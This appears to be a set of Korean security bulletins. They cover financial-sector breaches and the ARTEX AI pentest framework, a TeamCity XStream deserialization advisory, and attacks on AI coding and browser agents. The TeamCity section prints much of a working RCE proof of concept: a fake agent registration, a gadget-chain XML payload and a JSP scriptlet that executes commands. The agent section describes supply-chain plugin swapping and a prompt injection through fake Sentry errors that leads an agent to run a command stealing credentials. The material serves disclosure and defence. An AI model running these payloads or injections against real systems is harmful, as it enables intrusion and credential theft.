- 주요 원인은 권한 검증 부족, 식별자 변경, 미비한 인증/인가 등이며, 엄격한 서버 측 권한 및 접근 검증, 객체 식별자 검증 등 필요 

※ BOPLA (Broken Object Property Level Authorization, 객체 속성 수준 권한 부여 오류) [39]
- OWASP Top 10 API Security Risks – 2023 기준 3순위 위협에 해당
- 사용자가 특정 데이터 객체 자체에는 접근 권한이 있으나, 해당 객체의 속성 단위 권한 검증이 부적절하여 민감 속성 유출, 속성 값 변경, 추가, 삭제가 가능한 취약점
- 주요 원인은 과도한 응답 데이터, 대량 할당(Mass Assignment) 등이며, 응답 구조 사전 정의, 속성 단위 권한 검증 적용, 기능 단위 접근 제한 등 필요

※ BFLA (Broken Function Level Authorization, 기능 수준 권한 부여 오류) [40]
- OWASP Top 10 API Security Risks – 2023 기준 5순위 위협에 해당
- 일반 사용자 권한을 가진 계정이 관리자용 API 앤드포인트 등 더 높은 권한이 필요한 기능(삭제, 설정 변경 등)을 무단으로 실행할 수 있는 취약점
- 주요 원인은 권한 검증 부족, 추측 가능한 앤드포인트 URL 등이며, 기본적으로 모든 접근 차단 및 각 기능별 명시적 접근 권한 부여, 서버 측 재검증, 최소 권한 원칙 적용 등 필요

※ IDOR (Insecure Direct Object Reference, 불안전한 직접 객체 참조)
- OWAPS TOP 10 2025 기준 1순위인 Broken Access Control의 대표적인 사례 중 하나 [41]
- 애플리케이션이 사용자가 제공한 식별자(ID 등)를 검증 없이 그대로 사용하여, 수평적(동일 권한 타 계정) 또는 수직적(높은 권한) 권한 상승, 데이터 무단 접근이 가능한 취약점
- 주요 원인은 권한 검증 부족, 유추하기 쉬운 식별자 사용, 과도한 클라이언트 입력 신뢰 등이며, 엄격한 권한 검증, 무작위 식별자 사용, 입력 값 검증 등 필

2.3.4 금융권 시스템 동질성

- 높은 규제로 인해 시스템 구성의 다양성이 낮으며, 대부분의 금융회사가 규제 요건을 통과한 솔루션, 3rd-Party 제품, 시스템 등을 사용
- 공통 솔루션이나 유사한 설계에서 취약점이 발견될 경우, 다른 기관에서도 동일 또는 유사한 문제가 존재할 가능성이 높음
- 따라서, 한 금융회사에서 보안 사고 발생 시 유사한 환경을 가진 다른 금융회사에도 동일한 취약점이 연쇄적으로 발견되는 구조

2.3.5 행위 기반 탐지 부족

- 기존 보안 장비가 알려진 악성 IP나 공격 시그니처에 의존하는 경우, 평판 정보가 없는 IP 또는 정상 요청과 유사한 API 호출을 즉각적으로 탐지하기 어려움
- 따라서, 공격 IP 차단을 기본으로 하되, 조회량, 오류 응답 증가, 요청 빈도 등을 종합적으로 분석해야 함 [42][43][44]

2.4 AI 기반 침투 테스 프레임워크 ARTEX

- ARTEX는 중국에서 개발된 LLM 기반 자율 침투 테스트 프레임워크로, 다수의 AI 에이전트를 활용해 자산 탐색, 취약점 점검 및 공격 과정을 자동화하는 오픈소스 프레임워크 [45]~[48]
- 역할이 나뉜 여러 AI 에이전트, 에이전트들이 함께 쓰는 지식 저장소, 표적에 실제 요청을 보내는 실행 도구로 구성되며, 목표를 주면 결과를 바탕으로 다음 점검 항목을 스스로 정하고 반복 수행
- 개선된 기능과 성능을 제공하는 ARTEX v2가 확인되어, 단순히 개별 침투 테스트 작업 자동화 도구를 넘어 여러 Agent의 작업과 도구, 데이터를 하나의 환경에서 조율 및 관리하는 플랫폼 형태로 발전
- 이번 금융권 사고와 관련 ARTEX 및 여러 AI 모델 활용 정황이 보도

2.4.1 동작 원리

- 다음 순서로 목표를 달성하거나 시도할 경로가 없어질 때까지 반복
> 정해진 순서대로 순환하는 것이 아닌 Worker가 결과를 기록할 때마다 Planner가 다시 실행되고, 마지막 목표가 증명될 시 실행 중지

2.4.2 공격 인프라 분석

- 공격자 한 명이 하나의 도구로 여러 국가의 임대 서버를 거쳐 여러 금융사의 외부 노출 시스템을 동시에 탐색
- ARTEX 인스턴스가 호스팅된 IP를 시작점으로 연관 인프라 분석 결과 약 600개의 추가 IP를 확인하였으나, 오픈소스 프로젝트이므로 모든 IP를 공격 인프라로 판단해서는 안됨 [49]~[51]

- 식별된 인프라에서 외부 노출된 웹 서비스 추가 분석 결과 다양한 AI 기반 및 기존 공격·보안 도구가 함께 운영 [52][53]

> 또 다른 분석에서는 14개 국가·지역에서 ARTEX 관련 고유 IP 359개 및 AI 기반 보안 분석 자동화 도구 관련 서버도 약 1,000개 규모로 관측

> 인터넷에 노출된 ARTEX 관련 작업 디렉터리 두 곳을 분석해 웹셸, 내부망 탐색, 원격 접속, 자격증명 수집, C2 통신 및 원격 제어 악성코드(임플란트) 관련 자료 발견 [54]

2.4.3 공격자 신원

- 공격자 서버에 외부에서 열람할 수 있는 상태로 남아 있던 파일을 분석해 중국 거주 사용자 계정 @YY520CN 식별 [55]~[60]
> 중국어권 사이버범죄 커뮤니티 Dogshield·狗盾에서 활동하며 DDoS 공격 대행, 익명 서버 판매, 해외 고객 대상 공격 지원 등에 관여

> 중국계 DDoS-for-hire 해킹 조직인 GodNet/VITAS의 커뮤니티 감독관(社区监督员)임을 식별

3. 금융위원회 긴급 상황 대응 회의

4. 대응방안

5. 참고

[1] https://www.dailysecu.com/news/articleView.html?idxno=208773
[2] https://www.boannews.com/news/articleView.html?idxno=146246
[3] https://www.yna.co.kr/view/AKR20261008020052017
[4] https://www.boannews.com/news/articleView.html?idxno=146184
[5] https://www.boannews.com/news/articleView.html?idxno=146219
[6] https://www.yna.co.kr/amp/view/AKR20261008038500017
[7] https://www.boannews.com/news/articleView.html?idxno=146287
[8] https://www.yna.co.kr/view/AKR20261006071400002
[9] https://m.etnews.com/20261008000316
[10] https://www.newstomato.com/ReadNews.aspx?no=1316061
[11] https://www.yna.co.kr/view/AKR20261007112100017
[12] https://economist.co.kr/article/view/ecn202610070031
[13] https://www.bloter.net/news/articleView.html?idxno=675710
[14] https://www.dailysecu.com/news/articleView.html?idxno=208898
[15] https://www.seoul.co.kr/news/economy/finance/2026/10/04/20261004500051?wlog_tag3=naver
[16] https://www.dailysisa.com/news/articleView.html?idxno=52600
[17] https://www.fnnews.com/news/202610041813000672
[18] https://www.boannews.com/news/articleView.html?idxno=146150
[19] https://www.boannews.com/news/articleView.html?idxno=146174
[20] https://www.pravang.com/support/notice/639
[21] https://www.boannews.com/news/articleView.html?idxno=146364
[22] https://n.news.naver.com/article/214/0001528778?sid=101
[23] https://www.boannews.com/news/articleView.html?idxno=146175
[24] https://www.boannews.com/news/articleView.html?idxno=146182
[25] https://www.boannews.com/news/articleView.html?idxno=146183
[26] https://www.boannews.com/news/articleView.html?idxno=146186
[27] https://www.boannews.com/news/articleView.html?idxno=146294
[28] https://nvd.nist.gov/vuln/detail/cve-2025-49844
[29] https://www.news1.kr/finance/general-finance/6320826
[30] https://www.boannews.com/news/articleView.html?idxno=146187
[31] https://www.newsis.com/view/NISX20261006_0003816422
[32] https://www.newsis.com/view/NISX20261014_0003826251
[33] https://biz.chosun.com/stock/finance/2026/10/16/ZE5DKVDEVBCSLJDPEKIE4ZHCMA/?utm_source=naver&utm_medium=original&utm_campaign=biz
[34] https://news.tf.co.kr/read/economy/2376344.htm
[35] https://www.news1.kr/finance/general-finance/6320974
[36] https://www.dailysecu.com/news/articleView.html?idxno=208898
[37] https://www.boannews.com/news/articleView.html?idxno=146469
[38] https://api-security.owasp.org/editions/2023/en/0xa1-broken-object-level-authorization/
[39] https://api-security.owasp.org/editions/2023/en/0xa3-broken-object-property-level-authorization/
[40] https://api-security.owasp.org/editions/2023/en/0xa5-broken-function-level-authorization/
[41] https://top10.owasp.org/2025/A01_2025-Broken_Access_Control/
[42] https://www.enki.co.kr/media-center/blog/2026-financial-sector-serial-breaches-analysis-and-countermeasures
[43] https://www.boannews.com/news/articleView.html?idxno=146267
[44] https://www.boannews.com/news/articleView.html?idxno=146208
[45] https://github.com/jiwoochris/artex-ko
[46] https://www.skshieldus.com/security-insights/reports
[47] https://www.boannews.com/news/articleView.html?idxno=146220
[48] https://www.yna.co.kr/amp/view/AKR20261007170700017
[49] https://www.dailysecu.com/news/articleView.html?idxno=208724
[50] https://www.yna.co.kr/view/AKR20261008116200017
[51] https://www.yna.co.kr/view/AKR20261006118100017
[52] https://www.ahnlab.com/ko/contents/content-center/36299
[53] https://www.ahnlab.com/ko/contents/content-center/36300
[54] https://www.ahnlab.com/ko/contents/content-center/36305
[55] https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/
[56] https://www.dailysecu.com/news/articleView.html?idxno=208781
[57] https://www.boannews.com/news/articleView.html?idxno=146276
[58] https://www.dailysecu.com/news/articleView.html?idxno=208807
[59] https://www.dailysecu.com/news/articleView.html?idxno=208814
[60] https://www.boannews.com/news/articleView.html?idxno=146292
[61] https://www.fsc.go.kr/no010101/87869?srchCtgry=&curPage=4&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[62] https://www.fsc.go.kr/no010101/87927?srchCtgry=&curPage=&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[63] https://www.naeil.com/news/read/605230?ref=naver
[64] https://www.fsc.go.kr/no010101/87882?srchCtgry=&curPage=3&srchKey=&srchText=&srchBeginDt=&srchEndDt=
[65] https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72207
[66] https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72211
[67] https://www.dailysecu.com/news/articleView.html?idxno=208810
[68] https://www.dailysecu.com/news/articleView.html?idxno=208808
[69] https://www.dailysecu.com/news/articleView.html?idxno=208820
[70] https://www.dailysecu.com/news/articleView.html?idxno=208822

1. 취약점

- 인증되지 않은 에이전트 요청 처리 과정에서 XStream의 타입 허용 목록 설정이 불완전하여, 인증되지 않은 공격자가 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행이 가능한 취약점 (CVSS: 9.8) [2]

> 해당 취약점을 랜섬웨어 공격에 악용하고 있어 즉각적인 대응이 필요

영향받는 버전
- TeamCity 2026.1.3 이전 버전
- TeamCity 2025.11.7 이전 버전

2. 상세분석

2.1 Root cause

- XStream 설정 시 기존 기본 허용 타입(Default Permissions)을 명시적으로 제거하지 않고, 커스텀 허용 목록(Allowlist)만 추가한 것이 주원인

> XStream은 Java 객체를 XML로 직렬화(Serialization)하거나, 반대로 XML을 자바 객체로 역직렬화(Deserialization)하는 데 사용하는 자바 라이브러리로, TeamCity는 Agent Polling Protocol을 통해 서버와 통신하며, 이때 XStream을 사용 [3]

> allowTypeHierarchy()는 지정한 타입뿐만 아니라 해당 타입의 하위 클래스나 구현체(상속 또는 구현)에 대해 역직렬화 권한을 부여

> Map, Throwable 등 다양한 구현 클래스 및 하위 클래스를 포괄하는 권한이 포함되어 있어, 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행으로 이어지는 체인을 구성할 수 있음

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

2.2 취약점 악용

- 먼저 서버는 /app/agents/v1/register 엔드포인트로 전송되는 HTTP POST를 통해 에이전트 등록 요청을 수락하고, 응답 헤더 TeamCity-AgentSessionId를 통해 세션 식별자 반환

- 이어서 공격자는 발급받은 세션 식별자와 가젯 체인(Gadget Chain)을 포함한 XML을 /app/agents/v1/commands/error 엔드포인트로로 HTTP POST 요청을 전송

> handleCommands 메서드는 TeamCity-AgentSessionId 헤더 검증 후 error 명령 처리를 위해 handleCommandIsFailedRequest 메서드 호출

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

> handleCommandIsFailedRequest 메서드에서 가젯 체인이 포함된 XML이 역직렬화되어 인증되지 않은 공격자가 원격 코드 실행이 가능

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

2.3 Gadget Chain

- Gadget Chain이란 기존 코드 조각(Gadget)들을 서로 연결하여 공격자가 원하는 명령을 실행하게 만드는 공격 기법 [5]

2.4 JSP 페이로드 실행

- JspController.doHandle() 메서드는 내부 요청, 인증된 사용자의 요청, 직접 JSP를 요청하는 명시적 파라미터가 존재하지 않으면 JSP가 실행되기 전에 HTTP 403 오류를 반환

> TeamCity의 WEB-INF/web.xml에는 *.jspws 확장자를 Apache Jasper의 서블릿으로 직접 매핑해두어 인증 검사 단계를 거치지 않고 서블릿으로 요청이 전달

> 공격자는 Gadget Chain을 이용해 웹 루트에 JSPWS 파일을 생성하고, 두 번째 요청을 통해 JSPWS 파일에 접근

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

2.5 PoC

- 가짜 Agent를 등록해 TeamCity-AgentSessionId를 획득한 후 악성 XML을 전송하여 XStream 가젯 체인 실행 및 생성한 .jspws 파일을 호출해 서버에서 명령 실행 [6]

def build_registration_xml() -> bytes: # 가짜 Agent 등록 XML 생성
    ...

def build_jsp_scriptlet(
    jsp_path: str, guard: str, response_token: str, command: str
) -> str: # JSPWS 파일에 삽입할 명령 실행 코드 생성
    scriptlet = f"""
        <%
          if (application.getAttribute({java_string(guard)}) == null) {{
            application.setAttribute(
              {java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
              java.nio.file.Path.of(
                application.getRealPath({java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({java_string(command)});
            out.print({java_string(response_token)});
          }}
        %>
    """
    return " ".join(
        line.strip() for line in textwrap.dedent(scriptlet).splitlines()
        if line.strip()
    )


def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: # Gadget Chain이 포함된 XML 생성
    if not webroot_relative or any(
        character in webroot_relative for character in "\x00\r\n"
    ):
        raise ValueError("webroot-relative must be a non-empty single line")
    if not command or any(character in command for character in "\x00\r\n"):
        raise ValueError("cmd must be a non-empty single line")

    (
        file_id,
        guard,
        response_token,
        database_name,
        table_id,
        column_id,
        *map_keys,
    ) = random_tokens(9)

    filename = f"{file_id}.jspws"
    jsp_uri = f"/{filename}"
    normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
    if not normalized_webroot:
        raise ValueError("webroot-relative must identify a directory")
    output_path = f"{normalized_webroot}/{filename}"

    table_name = f"T{table_id.upper()}"
    column_name = f"C{column_id.upper()}"
    jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
    init_sql = (
        f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
        f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
        f"SCRIPT {sql_string(output_path)}",
    )

    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{xml_text(init_sql[0])}</string>
              <string>{xml_text(init_sql[1])}</string>
              <string>{xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>
""".encode("utf-8")
    return payload, jsp_uri, response_token.encode("utf-8")
 
    ...

    try:
        status, headers, body = request( # Agent 등록 → TeamCity-AgentSessionId 획득
            f"{base}/app/agents/v1/register",
            timeout=args.http_timeout,
            body=registration,
            headers={"Content-Type": "application/xml"},
        )
        session = headers.get("teamcity-agentsessionid")
        ...

        command_status, _, command_body = request( # 악성 XML 전달 → XStream 역직렬화 및 가젯 체인 실행
            f"{base}/app/agents/v1/commands/error",
            timeout=args.http_timeout,
            body=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
        )

         # 생성된 JSPWS 요청 → JSP 실행
        jsp_status, _, jsp_body = request(
            f"{base}{jsp_path}", timeout=args.http_timeout
        )
        ...

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7][8]

> NoTypePermission.NONE으로 기존 권한을 초기화한 후 Allowlist를 적용

> 업데이트가 불가한 경우 공식 Security Patch Plugin을 적용 [9]

- TeamCity 서버 프로세스에 최소 권한 부여 및 서버 분리

- TeamCity 서버가 인터넷에 직접 노출되지 않도록 접근 제한

- 신뢰 가능한 네트워크에서만 TeamCity 서버에 접근 가능하도록 방화벽 또는 ACL 구현

- TeamCity Agent Polling 관련 엔드포인트로 유입되는 비정상 요청과 XML 기반 역직렬화 공격 패턴등을 WAF 모니터링

- 서버 로그 점검

> com.thoughtworks.xstream.converters.ConversionException, com.thoughtworks.xstream.security.ForbiddenClassException 등 역직렬화 과정과 관련된 예외

> 의심스러운 요청, 비정상적인 JSP 파일 생성 여부 점검

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-63077
[2] https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
[3] https://x-stream.github.io/
[4] https://x-stream.github.io/javadoc/com/thoughtworks/xstream/XStream.html#allowTypeHierarchy-java.lang.Class-
[5] https://kr.linkedin.com/pulse/deserialization-what-heck-actually-gadgetchain-florian-walter-gylcf?tl=ko
[6] https://github.com/sfewer-r7/CVE-2026-63077
[7] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=jetb&menuNo=205020&pageIndex=1&categoryCode=&nttId=72155
[9] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
[10] https://www.dailysecu.com/news/articleView.html?idxno=208600

1. Plugin4Shell

- Claude Code, OpenAI Codex, GitHub Copilot, Gemini CLI 등은 AI 코딩 에이전트로, SHA pinning 방식으로 사용 버전을 고정

> 특정 시점에 검토한 플러그인의 깃 커밋 해시(40자 16진수)로 고정하여, 고정 이후 코드가 변경되어도 고정된 버전만 실행 가능하며, 무결성을 보장

- 에이전트가 고정된 커밋을 내려받은 뒤 내려받은 코드가 지정된 커밋과 일치하는지 검증하지 않아, 악성코드 실행이 가능한 Plugin4Shell 취약점 발견 [1][2][3]

> Claude Code, OpenAI Codex는 설치된 플러그인을 백그라운드에서 업데이트하는 것이 기본 설정이어서, 이미 설치한 신뢰 플러그인이 설치 절차 또는 알림 없이 교체될 수 있음

> 단, 해당 공격은 공격자가 플러그인 저장소를 완전히 통제해야 성립 가능

구분	설명
정상 플러그인 등록 후 악성 코드로 변경	① Claude Code, Codex, GitHub Copilot  ⒜ 정상 플러그인 등록    - 공격자는 정상적인 플러그인을 마켓플레이스에 등록하고 SHA Commit A 지정  ⒝ 사용자 배포 및 신뢰 확보    - 사용자들이 마켓플레이스를 통해 해당 플러그인을 설치 및 실행  ⒞ 버전 업데이트    - 공격자는 버전 업데이트를 제출하며, 마켓플레이스는 새로운 SHA Commit B 지정  ⒟ 악성 브랜치 생성 및 주입    - 공격자는 해당 저장소에서 SHA Commit B와 동일한 이름을 가진 악성 브랜치를 생성    - 악성 브렌치를 저장소의 기본 브랜치로 지정     ※ 이름이 유효한 참조(Ref/Branch)이자 객체 ID(Commit SHA) 모두에 해당할 때,           Git은 참조(Branch)를 우선시하며 refname is ambiguous 경고만 출력한 채          브랜치를 체크아웃     ※ GitHub은 40자리 Hex 브랜치 이름을 거부하지만,           Bitbucket이나 자체 호스팅(Self-hosted) Git 서버는 이를 허용          Anthropic 공식 문서에서도 Bitbucket 및 Self-hosted Git을          유효한 마켓플레이스 백엔드로 명시하고 있어 공격이 유효  ⒠ 자동 업데이트를 통한 악성코드 내려받기    - AI 에이전트의 백그라운드 업데이트 동작을 통해 악성 브랜치를 내려받아 실행    - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 브랜치의 내용이 설치·실행됨    - 별도 동작 없이 백그라운드 업데이트 과정에서 공격이 수행되어 Zero-Click RCE로 이어질 수 있음 ② Gemini CLI  ⒜ Gemini CLI의 설치 세 단계 예시     git clone --depth 1 <plugin repo> ./  : 지정한 저장소에서 최신 커밋 1개만 복제     git fetch origin <COMMIT_SHA>     : 고정된 SHA를 가져옴     git checkout FETCH_HEAD             : FETCH_HEAD를 checkout  ⒝ 공격자가 자신의 저장소에 FETCH_HEAD를 이름으로 가지는 악성 브랜치 생성 및 기본 브랜치로 지정  ⒞ git checkout FETCH_HEAD 명령 실행으로 악성 브랜치를 받아    - 저장소의 기본 브랜치 이름 자체가 FETCH_HEAD이면, checkout은 해당 브랜치로 해석   ⒟ 악성 플러그인 실행     - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 플러그인이 실행
플러그인 저장소 탈취	- 공격자가 다른 사람의 플러그인 저장소를 탈취한 뒤 Plugin4Shell를 통해 악성 버전 강제 설

- 벤더사 대응 및 대응 방안

2. Agentjacking

- AI 코딩 에이전트의 신뢰 메커니즘을 악용해 악성 코드를 실행하는 Agentjacking 공격 기법 발견 [4][5]

구분	설명
공격 과정	① Sentry DSN (Data Source Name) 키 확보 - Sentry : 오류 추적 및 겅능 모니터링을 제공하는 APM (Application Performance Monitoring) 플랫폼 - Sentry DSN : 애플리케이션이 에러 이벤트를 보낼 프로젝트를 찾도록 지정해주는 값 [6] > 해당 값이 같으면 누구나 임의의 에러 이벤트를 전송할 수 있음 > 웹 사이트 소스 코드, HTTP Body 등에서 쉽게 획득 가능 ② 가짜 에러 요청 전송 - Sentry MCP 서버가 AI 에이전트에 반환하는 정상 템플릿과 동일한 형식의 가짜 오류 페이로드 POST 전송 - ## Resolution 섹션에 악성 npx 명령을 삽입 ③ 악성 명령 실행 - 개발자가 오류 분석 등의 요청할 경우, 에이전트는 MCP를 통해 오류 이벤트 조회 및 악성 명령 실행 - 환경 변수, AWS 키, 깃허브 토큰, Git 자격증명, Sentry 인증 토큰 등 민감정보 탈취
대응 방안	- DSN 키 교체 및 보안 강화 - 에러 로그 직접 검토 - MCP 외부 노출 점 - AI 에이전트 실행 가이드라인 수립 - AI 시스템과 개발 환경 간 격리 및 접근 통제 강화
참고	- EDR, WAF, IAM, VPN, 방화벽 등 기존 보안 통제 장치 모두 우회 > 공격 과정의 모든 요청이 정상적 DSN 인증을 기반으로 하며, AI 에이전트가 자체적으로 명령을 실행하기 때문에 승인된 의도(Authorized Intent Chain)로 분류 - Sentry는 문제를 인정했지만 플랫폼 차원에서 방어하기가 기술적으로 어렵다는 입장 > 외부 입력을 MCP 도구로 전달하는 모든 AI 에이전트 생태계에서 발생할 수 있는 구조적 문제

3. BragJack

- Chrome, Edge, Perplexity Comet, Opera Neon, Claude in Chrome 브라우저의 내장 AI Agent를 크롬 확장프로그램 하나로 탈취할 수 있는 BragJack 공격 기법 발견 [7][8][9]

> 브라우저 내장 AI Agent는 사용자 명령을 이해하고 판단하는 제어부(Brain)와 클릭, 파일 접근, 캡처 등 브라우저 기능은 실행부(Body)로 구분

> 공격자는 DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 악성 JavaScript로 리다이렉트하여 AI Agent에 악성 명령 전달

구분	설명
